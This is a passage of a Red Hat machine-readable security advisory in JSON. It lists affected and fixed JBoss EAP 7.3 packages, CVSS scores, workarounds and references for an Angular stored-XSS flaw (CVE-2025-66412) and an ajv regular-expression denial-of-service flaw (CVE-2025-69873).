"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2025-66412"
},
{
"category": "external",
"summary": "RHBZ#2418155",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2418155"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2025-66412",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66412"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-66412",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66412"
},
{
"category": "external",
"summary": "https://github.com/angular/angular/commit/1c6b0704fb63d051fab8acff84d076abfbc4893a",
"url": "https://github.com/angular/angular/commit/1c6b0704fb63d051fab8acff84d076abfbc4893a"
},
{
"category": "external",
"summary": "https://github.com/angular/angular/security/advisories/GHSA-v4hv-rgfq-gp49",
"url": "https://github.com/angular/angular/security/advisories/GHSA-v4hv-rgfq-gp49"
}
],
"release_date": "2025-12-01T22:35:59.211000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-30T00:13:50+00:00",
"details": "Before applying this update, ensure all previously released errata relevant to your system have been applied. Also, back up your existing installation, including all applications, configuration files, databases and database settings. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258",
"product_ids": [
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:33371"
},
{
"category": "workaround",
"details": "You could always manually sanitize user-controlled input or Disable or restrict dynamic SVG/MathML usage where possible in order to mitigate this flaw.",
"product_ids": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "angular: Angular Stored XSS Vulnerability via SVG Animation, SVG URL and MathML Attributes"
},
{
"cve": "CVE-2025-69873",
"cwe": {
"id": "CWE-1333",
"name": "Inefficient Regular Expression Complexity"
},
"discovery_date": "2026-02-11T19:01:32.953264+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2439070"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in ajv. When the $data option is enabled, the value of the pattern keyword is passed directly to the JavaScript RegExp() constructor without sufficient validation. An attacker able to supply a malicious regular expression pattern can trigger a ReDoS (Regular Expression Denial of Service), causing the application to become unresponsive and resulting in a denial of service.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "ajv: ReDoS via $data reference",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "To exploit this issue, the $data option must be enabled and the attacker needs to be able to send a payload with a specially crafted regular expression to the application processing the input. A 31-character payload causes approximately 44 seconds of execution, with each additional character doubling the execution time. Therefore, even a small payload can cause an application to become unresponsive and eventually result in a denial of service. Due to this reason, this flaw has been rated with an important severity.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
],
"known_not_affected": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2025-69873"
},
{
"category": "external",
"summary": "RHBZ#2439070",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2439070"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2025-69873",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-69873"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-69873",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69873"
},
{
"category": "external",
"summary": "https://github.com/EthanKim88/ethan-cve-disclosures/blob/main/CVE-2025-69873-ajv-ReDoS.md",
"url": "https://github.com/EthanKim88/ethan-cve-disclosures/blob/main/CVE-2025-69873-ajv-ReDoS.md"
}
],
"release_date": "2026-02-11T00:00:00+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-30T00:13:50+00:00",
"details": "Before applying this update, ensure all previously released errata relevant to your system have been applied. Also, back up your existing installation, including all applications, configuration files, databases and database settings. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258",
"product_ids": [
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:33371"
},
{
"category": "workaround",
"details": "To mitigate this issue, disable the $data feature if your application does not require it. If $data must be used, implement strict validation of the input fields that are referenced by the pattern keyword to ensure they contain only expected and safe characters.",
"product_ids": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
